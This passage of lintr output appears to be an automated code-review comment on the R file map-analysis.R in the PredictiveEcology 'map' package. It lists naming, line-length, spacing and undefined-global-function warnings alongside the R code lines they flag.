  ags <- lapply(AGs, function(AG) sort(na.omit(unique(m[[AG]]))))
                              ^~
```
[R/map-analysis.R:58:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L58) *style:* **Variable or function name should be snake_case.**
```r
  combosCompleted <- lapply(functionName, function(fn)
  ^~~~~~~~~~~~~~~
```
[R/map-analysis.R:60:4:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L60) *style:* **Commented code should be removed.**
```r
  #combosCompleted <- map@analysesData[[functionName]]$.Completed
   ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:71:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L71) *style:* **Variable or function name should be snake_case.**
```r
  combosAll <- expandAnalysisGroups(ags)
  ^~~~~~~~~
```
[R/map-analysis.R:71:16:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L71) *warning:* **no visible global function definition for ‘expandAnalysisGroups’**
```r
  combosAll <- expandAnalysisGroups(ags)
               ^~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:74:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L74) *style:* **Lines should not be more than 80 characters.**
```r
  # This is only for the first one to do, as it is just finding the columns required
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:76:42:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L76) *style:* **Variable or function name should be snake_case.**
```r
  args1 <- lapply(functionName, function(funName) {
                                         ^~~~~~~
```
[R/map-analysis.R:79:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L79) *style:* **Variable or function name should be snake_case.**
```r
    keepArgs <- unlist(lapply(args, function(arg) length(arg) > 0))
    ^~~~~~~~
```
[R/map-analysis.R:83:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L83) *style:* **Variable or function name should be snake_case.**
```r
  AGsByFunName <- lapply(functionName, function(funName) {
  ^~~~~~~~~~~~
```
[R/map-analysis.R:83:49:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L83) *style:* **Variable or function name should be snake_case.**
```r
  AGsByFunName <- lapply(functionName, function(funName) {
                                                ^~~~~~~
```
[R/map-analysis.R:88:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L88) *style:* **Variable or function name should be snake_case.**
```r
  combosAll <- Map(agsByFunName = AGsByFunName,
  ^~~~~~~~~
```
[R/map-analysis.R:90:29:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L90) *style:* **Variable or function name should be snake_case.**
```r
                   function(agsByFunName, ags) {
                            ^~~~~~~~~~~~
```
[R/map-analysis.R:91:22:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L91) *warning:* **no visible global function definition for ‘expandAnalysisGroups’**
```r
                     expandAnalysisGroups(ags[agsByFunName])
                     ^~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:94:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L94) *style:* **Variable or function name should be snake_case.**
```r
  combosToDo <- Map(cc = combosCompleted, ca = combosAll, function(cc, ca) {
  ^~~~~~~~~~
```
[R/map-analysis.R:96:32:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L96) *style:* **Commas should always have a space after.**
```r
      setDT(ca[!ca$all %in% cc,])
                               ^
```
[R/map-analysis.R:101:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L101) *style:* **Variable or function name should be snake_case.**
```r
  combosToDo <- Map(ctd = combosToDo, fn = functionName,
  ^~~~~~~~~~
```
[R/map-analysis.R:102:45:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L102) *style:* **Variable or function name should be snake_case.**
```r
                    function(ctd, fn) ctd[, functionName := fn])
                                            ^~~~~~~~~~~~
```
[R/map-analysis.R:103:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L103) *style:* **Variable or function name should be snake_case.**
```r
  combosToDoDT <- rbindlist(combosToDo)
  ^~~~~~~~~~~~
```
[R/map-analysis.R:103:19:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L103) *warning:* **no visible global function definition for ‘rbindlist’**
```r
  combosToDoDT <- rbindlist(combosToDo)
                  ^~~~~~~~~
```
[R/map-analysis.R:105:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L105) *style:* **Lines should not be more than 80 characters.**
```r
  combosToDo <- combosToDo[!unlist(lapply(combosToDo, function(ctd) NROW(ctd) == 0))]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:105:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L105) *style:* **Variable or function name should be snake_case.**
```r
  combosToDo <- combosToDo[!unlist(lapply(combosToDo, function(ctd) NROW(ctd) == 0))]
  ^~~~~~~~~~
```
[R/map-analysis.R:108:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L108) *style:* **Variable or function name should be snake_case.**
```r
    funNames <- unique(combosToDoDT$functionName)
    ^~~~~~~~
```
[R/map-analysis.R:111:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L111) *style:* **Variable or function name should be snake_case.**
```r
    otherFormalsInFunction <- lapply(funNames, function(funName) {
    ^~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:111:57:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L111) *style:* **Variable or function name should be snake_case.**
```r
    otherFormalsInFunction <- lapply(funNames, function(funName) {
                                                        ^~~~~~~
```
[R/map-analysis.R:112:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L112) *style:* **Variable or function name should be snake_case.**
```r
      otherFormalsInFunction <- formalArgs(funName)[formalArgs(funName) %in%
      ^~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:125:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L125) *style:* **Commented code should be removed.**
```r
    # browser()
      ^~~~~~~~~
```
[R/map-analysis.R:126:11:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L126) *warning:* **no visible global function definition for ‘makeOptimalCluster’**
```r
    cl <- makeOptimalCluster(useParallel, maxNumClusters = NROW(combosToDoDT))
          ^~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:127:17:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L127) *warning:* **no visible global function definition for ‘stopCluster’**
```r
    on.exit(try(stopCluster(cl), silent = TRUE))
                ^~~~~~~~~~~
```
[R/map-analysis.R:129:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L129) *style:* **Variable or function name should be snake_case.**
```r
    combosToDoList <- split(combosToDoDT, combosToDoDT$all)
    ^~~~~~~~~~~~~~
```
[R/map-analysis.R:132:20:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L132) *style:* **Variable or function name should be snake_case.**
```r
                   funName <- combo$functionName
                   ^~~~~~~
```
[R/map-analysis.R:134:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L134) *style:* **Lines should not be more than 80 characters.**
```r
                                                   combo = combo, AGs = AGs, funName = funName)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:137:20:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L137) *style:* **Variable or function name should be snake_case.**
```r
                   fnOut <- do.call(Cache,
                   ^~~~~
```
[R/map-analysis.R:140:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L140) *style:* **Lines should not be more than 80 characters.**
```r
                                                         otherFormalsInFunction[[funName]])))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:145:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L145) *style:* **Variable or function name should be snake_case.**
```r
      fromFunName <- combosToDoDT$functionName == funName
      ^~~~~~~~~~~
```
[R/map-analysis.R:147:35:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L147) *style:* **Variable or function name should be snake_case.**
```r
      map@analysesData[[funName]]$.Completed <- names(out3[fromFunName])
                                  ^~~~~~~~~~
```
[R/map-analysis.R:150:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L150) *style:* **Lines should not be more than 80 characters.**
```r
    message("  ", paste(functionName, collapse = ", "), " already run on all layers")
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:168:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L168) *style:* **Variable or function name should be snake_case.**
```r
mapAddAnalysis <- function(map, functionName,
^~~~~~~~~~~~~~
```
[R/map-analysis.R:168:33:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L168) *style:* **Variable or function name should be snake_case.**
```r
mapAddAnalysis <- function(map, functionName,
                                ^~~~~~~~~~~~
```
[R/map-analysis.R:169:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L169) *style:* **Lines should not be more than 80 characters.**
```r
                           useParallel = getOption("map.useParallel", FALSE), ...) {
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:169:28:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L169) *style:* **Variable or function name should be snake_case.**
```r
                           useParallel = getOption("map.useParallel", FALSE), ...) {
                           ^~~~~~~~~~~
```
[R/map-analysis.R:171:8:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L171) *warning:* **no visible global function definition for ‘data.table’**
```r
  b <- data.table(functionName = functionName, t(dots))
       ^~~~~~~~~~
```
[R/map-analysis.R:172:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L172) *style:* **Variable or function name should be snake_case.**
```r
  prevEntry <- map@analyses$functionName == functionName
  ^~~~~~~~~
```
[R/map-analysis.R:173:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L173) *style:* **Variable or function name should be snake_case.**
```r
  purgeAnalyses <- NULL # Set default as NULL
  ^~~~~~~~~~~~~
```
[R/map-analysis.R:174:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L174) *style:* **Variable or function name should be snake_case.**
```r
  newDigest <- fastdigest::fastdigest(
  ^~~~~~~~~
```
[R/map-analysis.R:178:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L178) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
  set(b, NULL, "argHash", newDigest)
  ^~~
```
[R/map-analysis.R:179:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L179) *style:* **Variable or function name should be snake_case.**
```r
  doRbindlist <- TRUE
  ^~~~~~~~~~~
```
[R/map-analysis.R:182:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L182) *style:* **Lines should not be more than 80 characters.**
```r
      message("An analysis called ", functionName, " already added to map obj; ",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:184:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L184) *style:* **Variable or function name should be snake_case.**
```r
      purgeAnalyses <- functionName
      ^~~~~~~~~~~~~
```
[R/map-analysis.R:187:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L187) *style:* **Variable or function name should be snake_case.**
```r
      doRbindlist <- FALSE
      ^~~~~~~~~~~
```
[R/map-analysis.R:188:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L188) *style:* **Lines should not be more than 80 characters.**
```r
      message("An analysis called ", functionName, " with identical function and ",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:194:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L194) *style:* **Lines should not be more than 80 characters.**
```r
    map@analyses <- rbindlist(list(map@analyses, b), fill = TRUE, use.names = TRUE)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:196:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L196) *style:* **Lines should not be more than 80 characters.**
```r
  map <- runMapAnalyses(map = map, purgeAnalyses = purgeAnalyses, useParallel = useParallel)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:196:10:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L196) *warning:* **no visible global function definition for ‘runMapAnalyses’**
```r
  map <- runMapAnalyses(map = map, purgeAnalyses = purgeAnalyses, useParallel = useParallel)
         ^~~~~~~~~~~~~~
```
[R/map-analysis.R:210:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L210) *style:* **Lines should not be more than 80 characters.**
```r
#'   \code{analysisGroups} i.e., \code{"analysisGroup1"} or \code{"analysisGroup2"}
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:223:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L223) *style:* **Lines should not be more than 80 characters.**
```r
mapAddPostHocAnalysis <- function(map, functionName, postHocAnalysisGroups = NULL,
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:223:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L223) *style:* **Variable or function name should be snake_case.**
```r
mapAddPostHocAnalysis <- function(map, functionName, postHocAnalysisGroups = NULL,
^~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:223:40:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L223) *style:* **Variable or function name should be snake_case.**
```r
mapAddPostHocAnalysis <- function(map, functionName, postHocAnalysisGroups = NULL,
                                       ^~~~~~~~~~~~
```
[R/map-analysis.R:223:54:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L223) *style:* **Variable or function name should be snake_case.**
```r
mapAddPostHocAnalysis <- function(map, functionName, postHocAnalysisGroups = NULL,
                                                     ^~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:224:35:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L224) *style:* **Variable or function name should be snake_case.**
```r
                                  postHocAnalyses = "all",
                                  ^~~~~~~~~~~~~~~
```
[R/map-analysis.R:225:35:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L225) *style:* **Variable or function name should be snake_case.**
```r
                                  useParallel = getOption("map.useParallel"),
                                  ^~~~~~~~~~~
```
[R/map-analysis.R:230:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L230) *style:* **Lines should not be more than 80 characters.**
```r
    stop("postHocAnalysisGroups cannot be NULL. It should be one of the column names ",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:232:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L232) *style:* **Lines should not be more than 80 characters.**
```r
  b <- data.table(functionName = functionName, postHocAnalysisGroups = postHocAnalysisGroups,
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:235:10:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L235) *warning:* **no visible global function definition for ‘data.table’**
```r
    b <- data.table(b, t(dots))
         ^~~~~~~~~~
```
[R/map-analysis.R:237:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L237) *style:* **Variable or function name should be snake_case.**
```r
  prevEntry <- map@analyses$functionName == functionName
  ^~~~~~~~~
```
[R/map-analysis.R:238:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L238) *style:* **Variable or function name should be snake_case.**
```r
  purgeAnalyses <- NULL # Set default as NULL
  ^~~~~~~~~~~~~
```
[R/map-analysis.R:239:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L239) *style:* **Variable or function name should be snake_case.**
```r
  newDigest <- fastdigest::fastdigest(
  ^~~~~~~~~
```
[R/map-analysis.R:243:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L243) *warning:* **no visible global function definition for ‘set’, Did you mean 'det'?**
```r
  set(b, NULL, "argHash", newDigest)
  ^~~
```
[R/map-analysis.R:244:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L244) *style:* **Variable or function name should be snake_case.**
```r
  doRbindlist <- TRUE
  ^~~~~~~~~~~
```
[R/map-analysis.R:247:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L247) *style:* **Lines should not be more than 80 characters.**
```r
      message("An analysis called ", functionName, " already added to map obj; ",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:249:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L249) *style:* **Variable or function name should be snake_case.**
```r
      purgeAnalyses <- functionName
      ^~~~~~~~~~~~~
```
[R/map-analysis.R:252:7:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L252) *style:* **Variable or function name should be snake_case.**
```r
      doRbindlist <- FALSE
      ^~~~~~~~~~~
```
[R/map-analysis.R:253:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L253) *style:* **Lines should not be more than 80 characters.**
```r
      message("An analysis called, ", functionName, " with identical function and ",
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:259:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L259) *style:* **Lines should not be more than 80 characters.**
```r
    map@analyses <- rbindlist(list(map@analyses, b), fill = TRUE, use.names = TRUE)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:261:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L261) *style:* **Lines should not be more than 80 characters.**
```r
  map <- runMapAnalyses(map = map, purgeAnalyses = purgeAnalyses, useParallel = useParallel)
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:261:10:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L261) *warning:* **no visible global function definition for ‘runMapAnalyses’**
```r
  map <- runMapAnalyses(map = map, purgeAnalyses = purgeAnalyses, useParallel = useParallel)
         ^~~~~~~~~~~~~~
```
[R/map-analysis.R:266:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L266) *style:* **Variable or function name should be snake_case.**
```r
runMapAnalyses <- function(map, purgeAnalyses = NULL,
^~~~~~~~~~~~~~
```
[R/map-analysis.R:266:33:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L266) *style:* **Variable or function name should be snake_case.**
```r
runMapAnalyses <- function(map, purgeAnalyses = NULL,
                                ^~~~~~~~~~~~~
```
[R/map-analysis.R:267:28:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L267) *style:* **Variable or function name should be snake_case.**
```r
                           useParallel = getOption("map.useParallel")) {
                           ^~~~~~~~~~~
```
[R/map-analysis.R:268:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L268) *style:* **Variable or function name should be snake_case.**
```r
  isPostHoc <- if (is.null(map@analyses$postHoc)) {
  ^~~~~~~~~
```
[R/map-analysis.R:271:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L271) *warning:* **no visible global function definition for ‘compareNA’**
```r
    compareNA(map@analyses$postHoc, TRUE)
    ^~~~~~~~~
```
[R/map-analysis.R:276:5:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L276) *style:* **Variable or function name should be snake_case.**
```r
    funName <- map@analyses$functionName[!isPostHoc]
    ^~~~~~~
```
[R/map-analysis.R:277:12:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L277) *warning:* **no visible global function definition for ‘mapAnalysis’**
```r
    map <- mapAnalysis(map, funName, purgeAnalyses = purgeAnalyses)
           ^~~~~~~~~~~
```
[R/map-analysis.R:287:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L287) *style:* **Lines should not be more than 80 characters.**
```r
           forms <- forms[!forms %in% c("map", "functionName", "analysisGroups")]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:298:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L298) *style:* **Lines should not be more than 80 characters.**
```r
                                                            analysisGroups = x$postHocAnalysisGroups),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:299:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L299) *style:* **Lines should not be more than 80 characters.**
```r
                                                       unlist(as.list(x[ , forms, with = FALSE]))))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:299:73:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L299) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
                                                       unlist(as.list(x[ , forms, with = FALSE]))))
                                                                        ^
```
[R/map-analysis.R:299:74:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L299) *style:* **Commas should never have a space before.**
```r
                                                       unlist(as.list(x[ , forms, with = FALSE]))))
                                                                        ~^
```
[R/map-analysis.R:313:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L313) *style:* **Variable or function name should be snake_case.**
```r
getFormalsFromMetadata <- function(metadata, combo, AGs, funName) {
^~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:313:53:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L313) *style:* **Variable or function name should be snake_case.**
```r
getFormalsFromMetadata <- function(metadata, combo, AGs, funName) {
                                                    ^~~
```
[R/map-analysis.R:313:58:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L313) *style:* **Variable or function name should be snake_case.**
```r
getFormalsFromMetadata <- function(metadata, combo, AGs, funName) {
                                                         ^~~~~~~
```
[R/map-analysis.R:314:1:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L314) *style:* **Lines should not be more than 80 characters.**
```r
  formalsInFunction <- formalArgs(funName)[formalArgs(funName) %in% colnames(metadata)]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:314:3:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L314) *style:* **Variable or function name should be snake_case.**
```r
  formalsInFunction <- formalArgs(funName)[formalArgs(funName) %in% colnames(metadata)]
  ^~~~~~~~~~~~~~~~~
```
[R/map-analysis.R:316:32:](https://github.com/PredictiveEcology/map/blob/7cd135925ee22b7cfbd61decff4abba1ce11e378/R/map-analysis.R#L316) *style:* **Variable or function name should be snake_case.**
```r
  args <- lapply(AGs, function(AG) {
                               ^~
```
